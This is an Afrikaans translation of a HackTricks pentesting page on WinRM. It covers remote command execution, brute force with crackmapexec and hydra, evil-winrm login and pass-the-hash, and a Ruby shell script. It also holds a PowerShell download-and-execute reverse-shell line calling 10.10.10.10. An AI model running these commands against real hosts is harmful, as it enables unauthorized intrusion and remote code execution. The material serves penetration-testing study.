# 5985,5986 - Pentesting WinRM
Leer AWS-hacking van nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutjagters!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack News**\
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutjagbounties wat begin en belangrike platform-opdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## WinRM
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) word uitgelig as 'n **protokol deur Microsoft** wat die **afstandsbestuur van Windows-stelsels** deur middel van HTTP(S) moontlik maak, met behulp van SOAP in die proses. Dit word fundamenteel aangedryf deur WMI en bied 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandsadministrasie via PowerShell, soortgelyk aan hoe SSH werk vir ander bedryfstelsels. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk of spesifieke poorte oopgemaak is:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
'n Oop poort van die lys hierbo beteken dat WinRM opgestel is en dus pogings toelaat om 'n afstandsverbinding te begin.
### **Die begin van 'n WinRM-sessie**
Om PowerShell te konfigureer vir WinRM, kom Microsoft se `Enable-PSRemoting` cmdlet in die prentjie, wat die rekenaar opstel om afstands-PowerShell-opdragte te aanvaar. Met verhoogde toegang tot PowerShell kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as betroubaar aan te dui:
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Hierdie benadering behels die byvoeging van 'n wildkaart by die `trustedhosts`-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van die implikasies daarvan. Dit word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.
Verder kan WinRM **afstandaktivering** gebruik deur die `wmic`-opdrag, soos volg, te demonstreer:
```powershell
wmic /node: process call create "powershell enable-psremoting -force"
```
Hierdie metode maak dit moontlik om WinRM vanaf 'n afstand op te stel, wat die buigsaamheid in die bestuur van Windows-masjiene verbeter.
### Toets of dit gekonfigureer is
Om die opset van jou aanvalsmasjien te verifieer, word die `Test-WSMan`-opdrag gebruik om te kyk of die teiken WinRM korrek gekonfigureer het. Deur hierdie opdrag uit te voer, kan jy verwag om besonderhede oor die protokolweergawe en wsmid te ontvang, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een demonstreer:
- Vir 'n teiken wat **korrek** gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:
```bash
Test-WSMan
```
Die reaksie moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
![](<../.gitbook/assets/image (161) (1).png>)
- Omgekeerd, vir 'n teiken wat **nie** vir WinRM opgestel is nie, sal daar geen sulke gedetailleerde inligting wees nie, wat die afwesigheid van 'n korrekte WinRM-opstelling beklemtoon.
![](<../.gitbook/assets/image (162).png>)
### Voer 'n bevel uit
Om `ipconfig` op 'n teikenrekenaar uit te voer en die uitset te sien, doen die volgende:
```powershell
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)
Jy kan ook **'n bevel van jou huidige PS-konsole uitvoer** deur gebruik te maak van _**Invoke-Command**_. Stel dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit op 'n afgeleë rekenaar uitvoer, kan jy dit doen:
```powershell
Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Voer 'n Skrip uit
Om 'n skrip uit te voer op 'n Windows Remote Management (WinRM) diens, kan jy die volgende stappe volg:
1. Verbind na die doelwitbediener met behulp van 'n WinRM-kliënt soos `winrs` of `Enter-PSSession`.
2. Skep 'n nuwe skripslêer op die doelwitbediener met die gewenste skriptekode.
3. Voer die skrip uit deur die pad na die skripslêer op te gee, byvoorbeeld `.\skripsnaam.ps1`.
Dit sal die skrip op die doelwitbediener uitvoer en die resultate terugstuur na jou WinRM-kliënt. Onthou om die nodige toestemmings en regte te hê om skripte op die doelwitbediener uit te voer.
```powershell
Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Kry 'n omgekeerde dop
Om 'n omgekeerde dop te kry, kan jy die volgende stappe volg:
1. Skep 'n omgekeerde dop-skripsie wat sal hardloop op die doelwitbediener. Hierdie skripsie moet 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
2. Stuur die omgekeerde dop-skripsie na die doelwitbediener. Dit kan gedoen word deur dit te laai op 'n webwerf, dit as 'n e-posbylaag te stuur of dit op 'n ander manier op die doelwitbediener te plaas.
3. Wanneer die doelwitbediener die omgekeerde dop-skripsie uitvoer, sal dit 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
4. Jy kan nou op afstand die doelwitbediener se stelsel beheer deur die omgekeerde dop te gebruik.
Dit is belangrik om te onthou dat die gebruik van omgekeerde dopskripsies om toegang tot stelsels te verkry sonder toestemming onwettig is en 'n oortreding van die wet kan wees. Dit moet slegs gedoen word in 'n wettige en etiese pentesting-konteks.
```powershell
Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-skaal te kry, gebruik `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
### **WinRM Oop Forseer**
Om PS Remoting en WinRM te gebruik, maar as die rekenaar nie gekonfigureer is nie, kan jy dit aktiveer met:
```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
### Stoor en Herstel sessies
Dit **sal nie werk** as die **taal** beperk is op die afgeleë rekenaar nie.
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Binne hierdie sessies kan jy PS-skripte laai deur gebruik te maak van _Invoke-Command_.
```powershell
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Foute
As jy die volgende fout vind:
`enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap: Die WinRM-kliënt kan nie die versoek verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys nie noodwendig geverifieer word nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.`
Probeer die volgende op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutjagters te kommunikeer!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack Nuus**\
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutjagte wat begin en belangrike platform-opdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## WinRM-verbinding in Linux
### Brute Force
Wees versigtig, brute force-aanvalle op WinRM kan gebruikers blokkeer.
```ruby
#Brute force
crackmapexec winrm -d -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm -d -u -p -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm -d -u -H -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Gebruik van evil-winrm
`evil-winrm` is 'n nuttige hulpmiddel wat gebruik kan word vir die pentesting van Windows Remote Management (WinRM)-dienste. Hierdie hulpmiddel maak dit moontlik om aan te meld by 'n Windows-masjien en uitvoering van verskeie operasies uit te voer, soos die verkryging van inligting, uitvoering van opdragte en die oplaai van lêers.
Om `evil-winrm` te gebruik, volg die volgende stappe:
1. Installeer die `evil-winrm`-hulpmiddel op jou stelsel.
2. Voer die volgende opdrag in om aan te meld by die doelwitstelsel: `evil-winrm -i -u -p `.
3. As die aanmelding suksesvol is, sal jy 'n interaktiewe skootrekenaar ontvang waar jy opdragte kan uitvoer.
4. Gebruik die verskillende opdragte om inligting te verkry, lêers op te laai of uit te voer, en ander operasies uit te voer.
Dit is belangrik om te onthou dat die gebruik van `evil-winrm` slegs toegelaat word op stelsels waarvoor jy die regte toestemming het om dit te doen. Wees verantwoordelik en gebruik hierdie hulpmiddel slegs vir wettige doeleindes.
```ruby
gem install evil-winrm
```
Lees die **dokumentasie** op sy github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i /
```
Om evil-winrm te gebruik om aan te sluit by 'n IPv6-adres, skep 'n inskrywing binne **/etc/hosts** wat 'n domeinnaam aan die IPv6-adres koppel en maak verbinding met daardie domein.
### Gee die has met evil-winrm deur
```ruby
evil-winrm -u -H -i
```
![](<../.gitbook/assets/image (173).png>)
### Die gebruik van 'n PS-docker masjien
Om WinRM te pentest, kan jy 'n PS-docker masjien gebruik om 'n omgewing te skep waarin jy die tegniek kan toets. Hier is die stappe om dit te doen:
1. Skep 'n nuwe PS-docker masjien deur die volgende opdrag uit te voer:
```plaintext
docker run -it --name winrm-test -p 5985:5985 -p 5986:5986 mcr.microsoft.com/windows/servercore:ltsc2019 powershell
```
2. Maak 'n nuwe PowerShell-sessie met die WinRM-module:
```plaintext
$session = New-PSSession -ComputerName -Port -Credential
```
3. Maak 'n nuwe sessie met die WinRM-module:
```plaintext
Enter-PSSession -Session $session
```
4. Jy is nou in 'n interaktiewe PowerShell-sessie op die doelwitbediener. Jy kan verskillende WinRM-opdragte uitvoer om die omgewing te toets en te pentest.
5. As jy klaar is, kan jy die PS-docker masjien verwyder deur die volgende opdrag uit te voer:
```plaintext
docker rm winrm-test -f
```
Deur hierdie stappe te volg, kan jy 'n PS-docker masjien gebruik om WinRM te pentest en die veiligheid van die omgewing te evalueer.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Gebruik 'n ruby-skrips
**Kode onttrek van hier: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)**
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan
* `port:5985 Microsoft-HTTPAPI`
## Verwysings
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
## HackTricks Outomatiese Opdragte
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Hacking-insigte**\
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
**Real-Time Hack Nuus**\
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
**Nuutste aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platform-opdaterings
**Sluit aan by ons op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
Leer AWS hacking van nul tot held methtARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.